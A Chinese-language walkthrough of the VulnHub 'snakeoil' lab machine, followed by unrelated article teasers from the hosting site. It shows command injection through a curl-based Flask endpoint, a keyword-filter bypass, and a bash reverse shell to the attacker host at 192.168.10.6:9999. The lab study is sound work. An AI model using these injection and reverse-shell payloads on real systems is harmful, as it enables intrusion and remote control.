vulnhub靶场之【digitalworld.local系列】的snakeoil靶机

前言

靶机:digitalworld.local-snakeoil,IP地址为192.168.10.11

攻击:kali,IP地址为192.168.10.6

kali采用VMware虚拟机,靶机选择使用VMware打开文件,都选择桥接网络

这里官方给的有两种方式,一是直接使用virtualbox加载,另一种是通过VMware直接加载,也给出了iso镜像文件。

文章中涉及的靶机,来源于vulnhub官网,想要下载,可自行访问官网下载,或者通过网盘下载 https://pan.quark.cn/s/86cf8a398835

主机发现

使用arp-scan -lnetdiscover -r 192.168.10.1/24扫描

也可以使用nmap等工具进行

信息收集

使用nmap扫描端口

扫描tcp端口,并保存于nmap-tcp

nmap -sT 192.168.10.11 --min-rate=1000 -p- -oA nmap-tcp

扫描常见的20个udp端口,不过这里的端口明显处于open的很少

nmap -sU 192.168.10.11 --top-ports 20 -T4 -oA nmap-udp

把前面扫描出的tcp、udp端口,进行处理,只取端口号

grep open nmap-tcp.nmap | awk -F'/' '{print $1}' | paste -sd ','
#这里就是包括可能开放的端口都不要,因为是靶机,可能过滤的话,也会无法进一步扫描
ports=22,80,8080,68,69,138,161,631,1434,1900

对特定的端口号进行深入探测

nmap -sV -O -sC -sT 192.168.10.11 -p $ports -oA detail

使用脚本检测有无漏洞

nmap --script=vuln 192.168.10.11 -p $ports -oA vuln

网站信息探测

访问80端口界面,应该是搭建成功的界面,访问页面源代码,并没有信息泄露

使用whatweb和浏览器插件wappalyzer进行分析

9

使用gobuster等目录爆破工具进行测试

gobuster dir -u http://192.168.10.11 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.bak,.txt,s,.,.html -b 403-404

可以看到,扫描并未有内容出现

访问8080端口的界面,这个界面,有点像之前未绑定域名时的界面,不知道是否如此

查看页面源代码,也没有信息泄露

点击进行测试,访问edit,就是每个文章的编辑,发现有delete post的选项,并且点击后,可以直接就删除这个文章了

不过访问house rules时,也是发现了一个人名patrick

这里反应很慢,通过浏览器的网络功能,发现请求的js可能是来自国外的,所以建议这里自己使用魔法一下。

访问useful links,发现其中提到JWT认证

使用gobuster目录爆破工具,针对8080端口的网站进行目录爆破

gobuster dir -u http://192.168.10.11:8080 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.bak,.txt,.sh,.html -b 403-404

访问login界面,提示当前的get方式不行,并且服务器给出回应,可用的方式有两个

那么建议使用burp或者yakit抓包吧,更改请求类型后,还是没什么东西。改为post还有内容,但是options后,没有任何东西

访问同样是405状态码的run,这个更改为post后,给出了返回,也就是应该有一个form表单,这个表单中输入url,其实就是需要知道参数。这个没办法

访问users,发现东西了,这里就是出现用户名和密码了

$pbkdf2-sha256$29000$e0/J.V.rVSol5HxPqdW6Nw$FZJVgjNJIw99RIiojrT/gn9xRr9SI/RYn.CGf84r040

尝试使用john进行破解

$pbkdf2-sha256$29000$e0/J.V.rVSol5HxPqdW6Nw$FZJVgjNJIw99RIiojrT/gn9xRr9SI/RYn.CGf84r040 这种形式是使用了 PBKDF2(Password-Based Key Derivation Function 2)算法结合 SHA256 哈希函数进行的密码哈希加密结果。

具体解释如下:

  • $pbkdf2-sha256$:表示使用的是 PBKDF2 算法并且哈希函数是 SHA256。PBKDF2 是一种基于密码的密钥派生函数,它通过多次迭代和加盐等操作,增加破解密码的难度,增强安全性。
  • 29000:这个数字表示迭代次数,即 PBKDF2 算法在计算密钥派生值时对输入密码进行哈希计算的次数。迭代次数越多,破解密码所需的时间和计算资源就越多。
  • e0/J.V.rVSol5HxPqdW6Nw:这是盐值(salt),盐是一个随机值,与密码一起参与哈希计算。盐值的作用是使得即使用户使用了相同的密码,其哈希结果也会不同,进一步增加破解的难度。
  • FZJVgjNJIw99RIiojrT/gn9xRr9SI/RYn.CGf84r040:这部分是最终生成的密码哈希值。

这里继续进行总结观察

抓包分析以获取shell

这里还是说一下,并非就一定使用burp,工具很多

使用burp修改数据包

之前抓取的几个界面感觉有搞头,/loginrunregistration

访问registration

这里是返回提示“错误的方法”

那么采用POST方式后,提示username区域为空

一般对于registration都是注册,假设这里一样呢,因为也涉及到用户名。

那么一般都是与表单有关的,所以,尝试进行添加,参数是username

这里建议从burp的右侧界面进行添加,因为这样burp会自动加上Content-type请求体的

这里提示password参数也没有数据,所以再添加数据password

根据返回数据来看,已经成功, 让访问loginapi进行登录,并且给出了一个token值,这个肯定有用

访问login

使用刚刚注册成功的进行登录

修改请求方式为POST,然后点击后,所需参数与注册时一样,就直接截图参数到位的图片

但是这里登录成功,并没有跳转,所以可能就到这里,还有一个run,访问它

访问run

但是这里的返回并没有参数,该怎么办呢,仔细观察,或许这是json的形式进行传递的

json数据在请求体中进行测试,不过直接测试127.0.0.1:80后,无效果

说明还是有一个所谓的参数,一直说提供url,是否参数就是url呢,测试一下,当然形式上都测试一下,先测试表单的请求,可以看到不行

直接使用burp的扩展,更改为json形式

返回不一样了,这里要一个密钥,综合来说,目前密钥的形式可能有patrick的哈希密码。以及注册用户snake给的一个access_token,不过这里进行login时,是使用注册的用户snake,是否需要的就是这个access_token呢。

这个token,一般都是放置在cookie中的,那么直接添加测试,直接在这里发现不行,这个secret_key可能不是这两个中的任一个。

访问secret

根据名称联想,之前的目录secret还没测试,访问测试一下,直接500

内部服务器问题?这里目前有的只有access_token以及账户密码,尝试添加access_token测试能否访问

还是不行,这不应该啊,我测试多次,无奈,看了一下wp

有点无语,名称是access_token_cookie???????啊啊啊啊啊啊啊

唉,访问成功,获取到secret_key的值commandexecutionissecret

直接在run中的json数据,再添加以一段即可

命令执行

这里可以看到右边的返回,像是统计,这里的secret_key是固定的,必须有才能有返回

但是url参数的值,并非固定的,尝试修改一下进行测试,只要在引号内修改,任意值的返回都是这个

并且,这里返回中,说不能解析主机id,采用的是curl

我是否可以猜测,这其实是一个curl命令语句,经测试就是类似于这种

所以在burp上再测试,发现直接在引号内输入;id是不行的,可能在某些符合内吧。想到可以使用反引号 ``这个可以执行的

"url":"127.0.0.1:80;`id`",
"secret_key":"commandexecutionissecret"

相当于可以命令执行,并且这个返回其实可以搞掉,因为是正确的返回,那么直接给它2>/dev/null

反正大差不差,直接命令执行一个反弹shell进行测试,直接搞命令不行,感觉可能有过滤等情况发生,那么直接在kali中创建一个脚本shell.sh,代码如下

bash -i >& /dev/tcp/192.168.10.6/9999 0>&1

然后通过这个把其下载,根据curl的命令,加上-O参数即可,这里也测试过php文件,但是对php进行关键字处理了

想办法执行执行这个脚本,测试过,命令执行不能有空格,也就是单个命令可以

经过测试,对关键字bash进行了筛选,不能直接有bash出现

所以需要进行拼接

"http://192.168.10.6:8888/shell.sh -O;`a='bas';b='h';$a$b shell.sh`",

使用postman修改

打开postman工具后,直接输入网址地址即可,这里与burp不同,这里基本上无需抓包,而是通过修改包然后直接请求的方式

大致情况如下,基本上差不多

26

这里就放两张图,不过一定要注意,postmanburp是不同的,这里使用这个工具也是提醒自己

靶机内信息收集

patrick获取到的反弹shell,查看当前靶机内的用户,发现只要patrick

ls -l /home
cat /etc/passwd | grep /bin/bash

查看网络连接状态

ip add
ss -antulp
netstat -antulp

查看内核版本和系统版本

uname -a
uanme -r
cat /etc/issue
cat /etc/*release
lsb_release

查看以root执行的进程

ps aux | grep root

使用find寻找一些权限

find / -perm \o+w 2>/dev/null
find / -perm -4000 -print 2>/dev/null

使用sudo -l查看,发现两个,一个以root执行无需密码的shutdown,一个是需要密码,所有都可以

但是这里不知道patrick的密码

查看由python搭建的flask网站配置,该配置文件就在patrick的家目录下,路径为/home/patrick/flask_blog

查看主文件app.py,发现几个可能是密码的东西

当然这个文件中,还涉及到一些防护,是真的对bash等关键字进行防护了

尝试以获取的密码进行登录测试

snakeoilisnotgoodforcorporations
NOreasonableDOUBTthisPASSWORDisGOOD

最终以密码NOreasonableDOUBTthisPASSWORDisGOOD登录了patrick账户

提权

根据前面的sudo -l的配置可以知道,这里知道密码后可执行sudo一切了

sudo /bin/bash -p

查看root主目录下的文件

总结

该靶机有以下几点:

  1. 对于网站,最好就是在浏览时,借助抓包工具,这样可以分析很多,可以使用burpyakit
  2. 对于一些网站中的请求方式,请求方式不同,也会导致返回不同,这个是重点的,还有许多http的请求头不同,返回也会不同的
  3. 对于http协议中的一些东西,一定要了解,这里比如请求体数据格式,请求头cookiecontent-type等等
  4. python搭建的网站也是要了解的,这里的flask也是有很多漏洞的,具体可以百度搜索一下。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/71713.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

自行车的主要品牌

一、国际知名品牌(专注运动与高端市场) 捷安特(GIANT) 台湾品牌,全球最大自行车制造商之一,覆盖山地车、公路车、通勤车等多品类。 美利达(MERIDA) 台湾品牌,以山地车…

C语言(队列)

1、队列的原理和作用 1、1 队列的原理 队列的原理其实就像一个管道,如果我们不断的往管道里塞乒乓球,每个乒乓球在管道里就会排列一条队列,先进去的乒乓球会先出来,这个就是队列先进先出的规则 球从左边进去的动作叫入列&#xf…

【C++算法】AVL树的平衡之美:从理论到C++高效实现

AVL树是一种自平衡二叉搜索树,解决了普通二叉搜索树在数据倾斜时的性能退化问题。本文深入探讨了AVL树的理论基础,包括平衡因子的定义、旋转操作的数学推导,并通过LaTeX公式分析其时间复杂度。接着,我们用C++实现了一个完整的AVL树,包括插入、删除和平衡调整的详细代码,附…

黑金风格人像静物户外旅拍Lr调色教程,手机滤镜PS+Lightroom预设下载!

调色教程 针对人像、静物以及户外旅拍照片,运用 Lightroom 软件进行风格化调色工作。旨在通过软件中的多种工具,如基本参数调整、HSL(色相、饱和度、明亮度)调整、曲线工具等改变照片原本的色彩、明度、对比度等属性,将…

ESP8266 NodeMCU 与 Atmega16 微控制器连接以发送电子邮件

NodeMCU ESP8266 AVR 微控制器 ATmega16 的接口 Atmega16 是一款低成本的 8 位微控制器,比以前版本的微控制器具有更多的 GPIO。它具有所有常用的通信协议,如 UART、USART、SPI 和 I2C。由于其广泛的社区支持和简单性,它在机器人、汽车和自动化行业有广泛的应用。 Atmega1…

【Hadoop】详解HDFS

Hadoop 分布式文件系统(HDFS)被设计成适合运行在通用硬件上的分布式文件系统,它是一个高度容错性的系统,适合部署在廉价的机器上,能够提供高吞吐量的数据访问,非常适合大规模数据集上的应用。为了做到可靠性,HDFS创建了…

2025 批量下载市场高标解读/配置喵/wangdizhe 雪球帖子/文章导出excel和pdf

之前分享过文章2025 批量下载雪球和东方财富文章导出excel和pdf ,今天整理分享下我下载过的一些雪球文章。 第1个号市场高标解读 抓取下载的所有帖子excel数据包含文章日期,文章标题,文章链接,文章简介,点赞数&#…

2022年《申论》第二题(河北A卷)

材料: “社区很大,共有安置房148栋,安置人口2.9万人。人员众多,而且原来都来自农村,群众生活环境变化大,不适应。”春林易地搬迁安置点建成使用后,老单便来这里担任春林街道办主任。如何有效治…

Qt中实现多个QMainWindow同时显示

在Qt中实现多个QMainWindow同时显示,可通过以下方法实现: 一、直接显示多个实例 必须使用new创建堆对象,避免栈对象因作用域结束被销毁‌。 int main(int argc, char *argv[]) {QApplication a(argc, argv);// 创建两个独立的主窗口QMainW…

从运动手环到医疗贴片,精密校平机正在重塑柔性电子器件的工业化生产标准

在柔性电子器件的制造领域,从运动手环到医疗贴片,精密校平机的应用正引领一场生产标准的变革。传统的柔性电子器件生产过程中,材料的平整度控制往往不够精确,导致产品质量参差不齐。然而,随着精密校平机的引入&#xf…

AIP-161 域掩码

编号161原文链接AIP-161: Field masks状态批准创建日期2021-03-01更新日期2021-03-01 在(使用AIP-134的Update或类似方法)更新资源时,通常需要明确指定哪些域需要更新。服务可以忽略另外的域,即使用户发送了值。 定义一种掩码格…

掌握Kubernetes Network Policy,构建安全的容器网络

在 Kubernetes 集群中,默认情况下,所有 Pod 之间都是可以相互通信的,这在某些场景下可能会带来安全隐患。为了实现更精细的网络访问控制,Kubernetes 提供了 Network Policy 机制。Network Policy 允许我们定义一组规则&#xff0c…

Flask 小册子简介

这是一个Flask restful讲解的小册子,涵盖了 RESTful API 的概念、选择 Flask 的原因以及小册子的目标和结构。我会尽量写得详细,帮助你更好地理解。 1. 简介 1.1 什么是 RESTful API? 1.1.1 REST 的概念 REST(Representational…

ElementUI 级联选择器el-cascader启用选择任意一级选项,选中后关闭下拉框

1、启用选择任意一级选项 在 el-cascader 标签上加上配置项&#xff1a; :props"{ checkStrictly: true }"例如&#xff1a; <el-cascaderref"selectedArrRef"v-model"selectedArr":options"optionsList":props"{ checkStri…

typedef 和 using 有什么区别?

在 C 编程中&#xff0c;类型别名&#xff08;Type Aliases&#xff09;是为已有类型定义新名称的一种机制&#xff0c;能够显著提升代码的可读性和可维护性。C 提供了两种工具来实现这一功能&#xff1a;传统的 typedef 和 C11 引入的 using 关键字。 概念 类型别名本质上是为…

VS2022C#windows窗体应用程序调用DeepSeek API

目录 一、创建DeepSeek API Key 二、创建窗体应用程序 三、设计窗体 1、控件拖放布局‌‌ 2、主窗体【Form1】设计 3、多行文本框【tbContent】 4、提交按钮【btnSubmit】 5、单行文字框 四、撰写程序 五、完整代码 六、运行效果 七、其它 一、创建DeepSeek API Ke…

docker 如何更新容器内的环境变量,并覆盖创建这个容器的镜像?

docker 如何更新容器内的环境变量&#xff0c;并覆盖串讲这个容器的镜像&#xff1f; 之前试过在容器内unset 环境变量&#xff0c;并进行docker commit 保存&#xff0c;发现这样是不行的&#xff0c;重新启动容器之后还是会出现之前设置过的环境变量 了解了下&#xff0c;u…

Android Coil总结

文章目录 Android Coil总结概述添加依赖用法基本用法占位图变形自定义ImageLoader取消加载协程支持缓存清除缓存监听 简单封装 Android Coil总结 概述 Coil 是一个用于 Android 的 Kotlin 图像加载库&#xff0c;旨在简化图像加载和显示的过程。它基于 Kotlin 协程&#xff0…

如何在WPS中接入DeepSeek并使用OfficeAI助手(超细!成功版本)

目录 第一步&#xff1a;下载并安装OfficeAI助手 第二步&#xff1a;申请API Key 第三步:两种方式导入WPS 第一种:本地大模型Ollama 第二种APIKey接入 第四步&#xff1a;探索OfficeAI的创作功能 工作进展汇报 PPT大纲设计 第五步&#xff1a;我的使用体验(体验建议) …

Spring Boot集成Minio笔记

一、首先配置MinIO 1、MinIO新建Bucket&#xff0c;访问控制台如图 创建访问密钥(就是账号和密码) 二、集成mino添加Minio客户端依赖 1.maven构建方式在pom.xml引入jar <dependency><groupId>io.minio</groupId><artifactId>minio</artifactI…